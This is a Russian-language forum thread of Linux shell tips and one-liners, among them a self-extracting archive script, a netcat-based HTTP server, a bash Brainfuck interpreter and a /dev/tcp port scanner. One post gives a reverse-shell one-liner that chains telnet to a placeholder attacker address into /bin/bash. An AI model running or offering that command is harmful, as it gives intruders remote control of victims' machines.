В этой теме я предлагаю выкладывать интересные команды и скрипты для linux. Предположительно такой вид публикаций: {Что делает (коротко)} {Подробное описание} {Комманда в BB теге CODE} Я начну: Cамораспаковывающийся архив Создаем скрипт (для bz2-архивов): Code: #!/bin/sh sed -e '1,/^END_OF_SCRIPT$/d' $0 | base64 -d | tar -xj exit END_OF_SCRIPT и приписываем к нему любой tar.bz2-архив: Code: $ cat myrch.tar.bz2 | base64 >> scriptname.sh И просто запускаете его, для автоматического разархивирования в текущую папку. Сравнение web-страниц с wget Сравнение двух web-страниц с помощью wget. Code: diff <(wget -q -O - URL1) <(wget -q -O - URL2) Запись с дисплея в файл Запись текущего сеанса X.org в файл /tmp/out.mpg с помощью ffmpeg Code: ffmpeg -f x11grab -s `xdpyinfo | grep 'dimensions:'| awk '{print $2}'` -r 25 -i :0.0 -sameq /tmp/out.mpg HTTP сервер на bash Вполне себе полноценный HTTP сервер, написаный на bash, одной строкой. Code: :; while [ $? -eq 0 ]; do nc -vlp 8080 -c'(r=read; e=echo;$r a b c; z=$r; while [ ${#z} -gt 2 ]; do $r z; done; f=`$e $b|sed 's/[^a-z0-9_.-]//gi'`; h=«HTTP/1.0»; o=«$h 200 OK\r\n»; c=«Content»; if [ -z $f ]; then($e $o; ls|(while $r n; do if [ -f «$n» ]; then $e «`ls -gh $n`»; fi; done);); elif [ -f $f ]; then $e «$o$c-Type: `file -ib $f`\n$c-Length: `stat -c%s $f`»;$e; cat $f; else $e -e «$h 404 Not Found\n\n404\n»; fi)'; done -- Интерпретатор Brainfuck на Bash Маленький интерпретатор экзотичного языка программирования Brainfuck на Bash. Code: $ cat bf.sh #!/bin/bash C="s[0]=0; p=0;" while read -n1 c; do case $c in \+) C="$C s[\$p]=\$((\${s[\$p]}+1));";; \-) C="$C s[\$p]=\$((\${s[\$p]}-1));";; \>) C="$C p=\$((\$p+1));";; \<) C="$C p=\$((\$p-1));";; \.) C="$C printf \\\\\$(printf '%03o' \${s[\$p]});";; \,) C="$C read -n1 c; s[\$p]=\`printf '%d' \"'\$c\"\`;";; \[) C="$C while [[ \${s[\$p]} > 0 ]]; do ";; \]) C="$C done;";; esac; done < $1; eval $C Целевой "Привет мир" на bf Code: ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++ .>+.+++++++..+++.>++.<<+++++++++++++++.>.+++. ------.--------.>+.>. тестируем: Code: $ ./bf.sh hello.b Hello World! -- Сканируем порты средствами bash Сканируем tcp порты с 1 по 1023 стандартными средствами bash. Code: for p in {1..1023}; do (echo >/dev/tcp/localhost/$p) >/dev/null 2>&1 && echo "$p open"; done -- Блокировка CD/DVD-привод Блокировка кнопки eject в CD/DVD-приводе: Блокировка: Code: eject -i 1 Разблокировка: Code: eject -i 0 --- Отправляем комп в спячку отправляем десктоп в спячку без прав суперпользователя: Code: dbus-send --system --print-reply --dest="org.freedesktop.Hal" /org/freedesktop/Hal/devices/computer org.freedesktop.Hal.Device.SystemPowerManagement.Hibernate
Может лучше в этой теме сделать подборку ссылок на всевозможные ресурсы об *nix like (только без убунтуводских форумов ) ?
Убунта не линукс? Или есть более весомые доводы, почему "без убунтоводских форумов"? Ааа, наверно, ты крутой Гентушник? Нет, сомневаюсь. Тогда Puppy Linux со всеми вытекающими. Да.
Кодирование фильма Кодирование фильма для комфортного просмотра на КПК: Code: $ mencoder berkova.avi -oac mp3lame -ovc lavc -lavcopts vcodec=mpeg4:vhq:vqmin=2:vqmax=20:vmax_b_frames=2:vbitrate=100:vqcomp=0.6 -vop scale=220:165,eq=15 -ofps 20 -zoom -sws 2 -lameopts cbr:br=32:aq=0:mode=3 -o berkova_pda.avi
Проверка PR Проверка PR введенного сайта через pr-cy.ru script.sh Code: #!/bin/bash echo -n "Enter site: " read site exec 3<> /dev/tcp/${1:-www.pr-cy.ru}/80 printf "GET /analysis/$site HTTP/1.0\r\n" >&3 printf "Accept: text/html, text/plain\r\n" >&3 printf "Accept-Language: en\r\n" >&3 printf "User-Agent: nixCraft_BashScript v.%s\r\n" "${BASH_VERSION}" >&3 printf "\r\n" >&3 while read LINE <&3 do # do something on $LINE # or send $LINE to grep or awk for grabbing data # or simply display back data with echo command echo PR - $LINE | grep "/10" | sed s/b//g | sed s/r//g | sed s/"<"//g | sed s/">"//g done Запуск: Code: cyber@cyber-punk ~ $ ./script.sh Enter site: antichat.ru PR - 4/10/
Консольный Punto Switcher Транслирует английскую раскладку в русскую. Code: $ echo "Ghbdtn? rfr ltkf&" | sed "s/.*/\L&/;y|f,dult~;pbqrkvyjghcnea[wxioms]'.z&?|абвгдеёжзийклмнопрстуфхцчшщьыъэюя?,|"
Листинг директорий без ls Может пригодиться в некоторых linux-firmware. К примеру, в моем D-Link DSL 2640U. Там в buzybox'е отсутствует команда ls. Вот варианты: Code: $ for i in * ; do echo $i ; done либо указывая конкретную директорию: Code: $ for i in /usr/* ; do echo $i ; done Для большего комфорта можно зарядить это в скриптик: Code: $ echo -e '#!/bin/sh\ntest !$1 && p=`pwd`\ntest $1 && p=$1\nfor i in $p/* ; do echo $i ; done' >/var/ls Code: $ chmod +x /var/ls Code: $ export PATH=PATH:/var/ Посмотреть установленные расширения в Firefox Посмотреть все установленные расширения в firefox из консоли. Code: grep -hIr :name ~/.mozilla/firefox/*.default/extensions | tr '<>=' '"""' | cut -f3 -d'"' | sort -u
Используем sed Удаление символов ^M с помощью sed Code: sed 's/'"$(printf '\015')"'$//g' имя_файла Используем rsync rsync через SSH: Code: rsync -avz -e ssh remoteuser@remotehost:/remote/dir /this/dir/
Копируем сорцы определённого сайта Копируем удалённо сорцы сайта через SSH: Code: tar --exclude={.svn,.hg,.git} -czpf - ./ | ssh login@host " tar -xzf - -C /var/www/site" Перекодирование файлов Пакетное перекодирование файлов из windows-1251 в utf-8: Code: #!/bin/sh for i in `find . -name "*" -type f` do echo $i iconv -f WINDOWS-1251 -t UTF-8 "$i" > tmp mv -f tmp "$i"
Дамп БД Сообщение появится в windows во всплывающем окне: Code: $ echo "message" | smbclient -M имя_компьютера Youtube - сохранение роликов 1)поставить youtube-dl Code: sudo aptitude install youtube-dl 2)скормить youtube-dl ссылку на страницу с видео Code: $ youtube-dl http://www.youtube.com /watch?v=dRDmirJATKs Генерация случайного пароля Оригинальный способ генерации пароля: Code: $ cat /dev/urandom | tr -d -c 'a-zA-Z0-9' | fold -w 8 | head -1
Распаковка различных архивов Добавить в ~/.bashrc или ~/.profile Code: extract () { if [ -f $1 ] ; then case $1 in *.tar.bz2) tar xvjf $1 ;; *.tar.gz) tar xvzf $1 ;; *.bz2) bunzip2 $1 ;; *.rar) unrar x $1 ;; *.gz) gunzip $1 ;; *.tar) tar xvf $1 ;; *.tbz2) tar xvjf $1 ;; *.tgz) tar xvzf $1 ;; *.zip) unzip $1 ;; *.Z) uncompress $1 ;; *.7z) 7z x $1 ;; *) echo "'$1' cannot be extracted via >extract<" ;; esac else echo "'$1' is not a valid file" fi }
Загрузка графическая Реализовываем анимационную загрузку в коммандной строке. (Возможно понадобится в разных скриптах) Code: while :; do echo '\'; clear; echo "|"; clear; echo '-'; clear; echo "|"; clear; echo "/"; clear; done Внимание! Замените бесконечный while на свой!
Реверс шелл Реверс шелл стандартными unix средствами без netcat. Code: telnet [attacker_IPaddr] [port1] | /bin/bash | telnet [attacker_IPaddr] [port2
Транслятор в BrainFuck на баше. Транслятор в бренфак стандартными средствами баша. Code: echo -n "ToChtoKodiruem" | od -v -t u1 -w1 -A none | awk '{for(i=0;i<$0;i++)s=s"+";s=s".>"}END{sub(/.$/,"",s); print s;}'
Допилил немножко до неких стандартов: Code: cat /dev/urandom | tr -d -c 'a-zA-Z0-9!@#$%^&*()[]{};:,./\\\-+' | fold -w 12 | head -1
Шутер с псевдо-3D графикой на… bash Ну что можно добавить, адовая вещь! Подробнее - Хабр GitHub - Git